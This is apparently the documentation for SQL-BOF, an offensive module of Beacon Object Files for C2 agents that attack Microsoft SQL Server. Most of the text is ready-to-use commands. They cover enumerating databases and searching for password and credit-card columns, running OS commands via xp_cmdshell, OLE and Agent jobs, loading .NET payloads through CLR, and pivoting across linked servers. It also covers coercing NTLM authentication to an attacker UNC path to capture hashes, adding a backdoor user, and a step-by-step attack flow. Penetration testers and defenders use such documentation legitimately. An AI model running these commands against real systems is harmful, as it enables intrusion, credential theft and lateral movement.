SQL-BOF

The SQL-BOF module provides a comprehensive set of BOFs for interacting with Microsoft SQL Server during authorized security assessments. All commands use the mssql prefix and are available on Beacon, Gopher, and Kharon agents on Windows.

Common Flags#

All mssql commands accept the following optional flags:

Windows integrated authentication is used by default. Use -u and -p only when you need explicit SQL authentication.

Reconnaissance#

mssql info#

Gather server information: version, configuration, service account.

mssql info 192.168.10.10
mssql info 192.168.10.10 -u sa -p Password123

When to use: First step when you discover a SQL Server. Identifies the version (to look for known CVEs) and the service account (if it’s NT AUTHORITY\SYSTEM, command execution runs with maximum privileges).

mssql whoami#

Shows the current login, mapped user, and assigned roles on the SQL Server.

mssql whoami db-server01
mssql whoami db-server01 -l LINKED_DB

When to use: After connecting, to understand your privilege context. If you have the sysadmin role, you can do virtually everything.

mssql 1434udp#

Queries the SQL Server Browser on UDP port 1434 to discover SQL instances on the host.

mssql 1434udp 192.168.10.10

When to use: When a host has multiple SQL instances and you need to identify instance names and ports.

mssql databases#

Enumerate all databases available on the server.

mssql databases db-server01
mssql databases db-server01 -i sa

mssql tables#

List tables within a database.

mssql tables db-server01
mssql tables db-server01 -d HRDatabase

mssql columns#

Enumerate columns in a specific table.

mssql columns db-server01 Users
mssql columns db-server01 Employees -d HRDatabase

mssql rows#

Get the row count for a table.

mssql rows db-server01 Users
mssql rows db-server01 Credentials -d SecretDB

mssql search#

Search column names matching a keyword. Useful for finding sensitive data.

mssql search db-server01 password
mssql search db-server01 credit -d CustomerDB

When to use: To quickly locate tables containing sensitive data such as passwords, credit cards, tokens, etc.

mssql query#

Execute a custom SQL query.

mssql query db-server01 "SELECT TOP 10 * FROM Users"
mssql query db-server01 "SELECT name,password_hash FROM sys.sql_logins" -i sa

When to use: When the predefined commands don’t cover your needs. Allows extracting specific data or running stored procedures.

mssql users#

Enumerate users with database access.

mssql users db-server01
mssql users db-server01 -d master

mssql impersonate#

Discover which users can be impersonated from your current context.

mssql impersonate db-server01

When to use: If you don’t have sysadmin, look for users you can impersonate with -i. If you find an impersonatable sa user, you gain full control.

mssql links#

Enumerate configured linked servers.

mssql links db-server01
mssql links db-server01 -l ANOTHER_LINKED

When to use: Linked servers are a lateral movement path. A linked server may have stored credentials that grant you access to other servers with different privileges.

mssql checkrpc#

Check RPC status on linked servers.

mssql checkrpc db-server01

When to use: Before executing commands through linked servers. RPC must be enabled for xp_cmdshell to work through the link.

mssql agentstatus#

Enumerate SQL Server Agent status and configured jobs.

mssql agentstatus db-server01

When to use: To verify whether the SQL Agent is active (needed for agentcmd) and discover existing scheduled jobs that might reveal information about the environment.

Command Execution#

mssql xpcmd#

Execute an OS command through xp_cmdshell. Requires xp_cmdshell to be enabled (see enablexp).

mssql xpcmd db-server01 "whoami /all"
mssql xpcmd db-server01 "dir C:\Users" -i sa
mssql xpcmd db-server01 "net user" -l LINKED_SERVER

When to use: Most direct method of command execution on SQL Server. Requires sysadmin privileges. If xp_cmdshell is disabled, enable it first with enablexp.

mssql olecmd#

Execute a system command using OLE Automation Procedures (sp_OACreate).

mssql olecmd db-server01 "whoami"
mssql olecmd db-server01 "powershell -enc BASE64..." -i sa

When to use: Alternative to xp_cmdshell when it’s monitored or blocked. OLE Automation is less common in detection rules. Does not return command output.

mssql agentcmd#

Execute a system command via a SQL Server Agent job.

mssql agentcmd db-server01 "whoami"
mssql agentcmd db-server01 "net user hacker P@ss123 /add"

When to use: Third avenue for command execution. The SQL Agent runs the commands as a scheduled job. Useful when both xp_cmdshell and OLE are blocked. Requires the SQL Agent to be active.

mssql clr#

Load and execute a .NET assembly as a CLR stored procedure.

mssql clr db-server01 /tmp/payload.dll MyFunction -h SHA512_HASH_HERE
mssql clr db-server01 /tmp/SharpTool.dll Run -h ABC123... -i sa

Parameters:

• server — Target SQL server
• dll_path — Local path to the .NET DLL file
• function — Entry-point function name
• -h hash — SHA-512 hash of the DLL (required)

When to use: To run full .NET tools (such as SharpHound, Rubeus, etc.) directly in the SQL Server context. Requires CLR to be enabled (see enableclr). This is the most powerful method but also the most detectable.

Module Configuration#

These commands enable or disable SQL Server features required by other attacks.

xp_cmdshell#

mssql enablexp db-server01        # Enable
mssql disablexp db-server01       # Disable
mssql enablexp db-server01 -i sa  # Enable while impersonating sa

When to use: Enable before using xpcmd. Remember to disable after the operation to reduce impact.

CLR Integration#

mssql enableclr db-server01       # Enable
mssql disableclr db-server01      # Disable

When to use: Required before using clr to execute .NET assemblies.

OLE Automation Procedures#

mssql enableole db-server01       # Enable
mssql disableole db-server01      # Disable

When to use: Required before using olecmd.

RPC on Linked Servers#

mssql enablerpc db-server01 LINKED_SRV    # Enable
mssql disablerpc db-server01 LINKED_SRV   # Disable

When to use: Enable RPC on a linked server to be able to execute xp_cmdshell through the link with -l.

Credential Attacks#

mssql smb#

Force the SQL Server to perform NTLM authentication against an attacker-controlled UNC path using xp_dirtree.

mssql smb db-server01 "\\10.10.14.5\share"
mssql smb db-server01 "\\ATTACKER\test" -i sa

When to use: To capture the NetNTLM hash of the SQL service account with tools like Responder or ntlmrelayx. If the service account is a domain account, the hash can be cracked or relayed to other services.

mssql adsi#

Extract credentials stored in a linked ADSI server.

mssql adsi db-server01 ADSI_LINKED_SRV
mssql adsi db-server01 ADSI_LINKED_SRV -p 389

When to use: When an ADSI-type linked server is configured. Credentials stored in the ADSI link configuration can be extracted in cleartext.

Typical Attack Flow#

A complete attack against SQL Server typically follows this flow:

# 1. Initial reconnaissance
mssql info 192.168.10.10
mssql whoami 192.168.10.10

# 2. Check privileges and escalation options
mssql impersonate 192.168.10.10

# 3. Discover linked servers (lateral movement)
mssql links 192.168.10.10

# 4. Enable xp_cmdshell (requires sysadmin)
mssql enablexp 192.168.10.10

# 5. Execute commands
mssql xpcmd 192.168.10.10 "whoami /all"
mssql xpcmd 192.168.10.10 "powershell -enc ..."

# 6. Clean up: disable what you enabled
mssql disablexp 192.168.10.10

Execution Through Linked Servers#

All commands can be chained through linked servers using the -l flag:

# Execute on the linked server
mssql xpcmd db-server01 -l LINKED_DB "whoami"

# Enumerate linked servers of the linked server (double hop)
mssql links db-server01 -l LINKED_DB

User Impersonation#

If you find an impersonatable user with impersonate, use -i to elevate privileges:

mssql impersonate db-server01        # Find impersonatable users
mssql enablexp db-server01 -i sa     # Enable xp_cmdshell as sa
mssql xpcmd db-server01 -i sa "whoami"